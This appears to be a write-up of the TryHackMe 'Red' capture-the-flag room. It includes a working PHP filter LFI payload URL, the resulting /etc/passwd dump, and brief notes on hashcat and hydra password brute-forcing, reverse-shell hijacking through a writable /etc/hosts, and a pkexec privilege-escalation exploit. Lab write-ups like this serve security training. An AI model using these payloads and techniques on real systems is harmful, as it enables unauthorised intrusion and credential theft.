Red

https://tryhackme.com/room/redisl33t

Foothold

LFI payload

http://10.10.5.70/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd

Decoded base64 of /etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
blue:x:1000:1000:blue:/home/blue:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
red:x:1001:1001::/home/red:/bin/bash

obtained user notes

obtained os version

obtained /etc/hosts

/home/blue/.bash_history

attacker potentially took the password from hashcat generated

when you run this command, Hashcat will generate password candidates based on the rules defined in best64.rule and write those candidates to the passlist.txt file. These candidates can then be used for various purposes, including password cracking or security testing.

/home/blue/.reminder

hydra

Note : Each time you login will have time limit before u get logged out again and new password will be used

bruteforce success

flag1

checking the process ps -aux

found a reverse shell is being runned

Checking file permission on /etc/hosts

Found that it is writeable by anyone

Content of /etc/hosts

Contains possibly the ip address of the attacker

Appending our ip into the domain name will get our ip a reverse shell

flag2

at red's home directory

pkexec is found but need root

Priv Esc

Version checking

Reveals it an outdated version

Google for its exploit but gcc is not installed , found python cve and transfer it into the machine to get root access

Note : You also need to change the pkexec file path in the python file to /home/red/.git/pkexec

flag3

Post Exploitation

Content of /var/www/index.php

The sanitize_input function will replace the "../" sequences with an empty string, leaving the input as php://filter/convert.base64-encode/resource=etc/passwd.

Script for random ssh password

Changes does not apply is because of this :

this one-liner is searching for processes that contain "tcp" in their information and "redrules" in their command line arguments. It then forcefully terminates (kills) all such processes by their PIDs.

Reason our session/shell died

this script is meant to send a message to all non-root users with terminal sessions containing "blue" in their username and with a terminal type of 'pts'. It then attempts to kill all processes owned by the user "blue."

Last updated